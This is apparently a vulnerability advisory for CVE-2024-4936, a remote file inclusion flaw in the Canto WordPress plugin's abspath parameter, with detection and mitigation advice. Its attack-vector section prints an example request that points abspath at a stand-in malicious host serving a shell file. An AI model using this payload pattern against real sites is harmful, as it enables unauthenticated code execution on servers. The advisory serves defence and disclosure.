CVE-2024-4936: Canto WordPress Plugin RCE Vulnerability

CVE-2024-4936 Overview

The Canto plugin for WordPress is vulnerable to Remote File Inclusion in all versions up to, and including, 3.0.8 via the abspath parameter. This makes it possible for unauthenticated attackers to include remote files on the server, resulting in code execution. This requires allow_url_include to be enabled on the target site to exploit.

Critical Impact
This vulnerability allows remote code execution with a critical CVSS score of 9.8.

Affected Products

Canto Plugin for WordPress

Discovery Timeline

Not Available - Vulnerability discovered by Not Available
Not Available - Responsible disclosure to Canto
Not Available - CVE CVE-2024-4936 assigned
Not Available - Canto releases security patch
2024-06-14 - CVE CVE-2024-4936 published to NVD
2024-11-21 - Last updated in NVD database

Technical Details for CVE-2024-4936

Vulnerability Analysis

Exploiting this vulnerability requires the allow_url_include configuration to be enabled, which allows remote code execution by including external files through the abspath parameter.

Root Cause

The vulnerability stems from improper validation of the abspath parameter, allowing remote file inclusion.

Attack Vector

The attack can be executed over the network by sending malicious requests targeting the vulnerable abspath parameter.

php

// Example exploitation code (sanitized)
$url = "http://target.site/wp-content/plugins/canto/somefile.php?abspath=http://malicious.site/shell.txt";
file_get_contents($url);

Detection Methods for CVE-2024-4936

Indicators of Compromise

Unusual outbound network traffic
Presence of unexpected files on the server
Unauthorized file access or modifications

Detection Strategies

Implement strict URL filtering to detect and block requests containing suspicious abspath parameter usage. Monitor for changes and attempts to modify server configurations.

Monitoring Recommendations

Regularly scan server logs for anomalies and monitor network traffic for connections to unknown external sites.

How to Mitigate CVE-2024-4936

Immediate Actions Required

Disable allow_url_include in the PHP configuration
Review and sanitize user input strictly
Update the Canto plugin to the latest patched version as soon as it becomes available

Patch Information

No patch is available yet.

Workarounds

Disable the allow_url_include option in your php.ini file to prevent remote file inclusion.

bash

# Configuration example
echo "allow_url_include=Off" >> /etc/php.ini
service httpd restart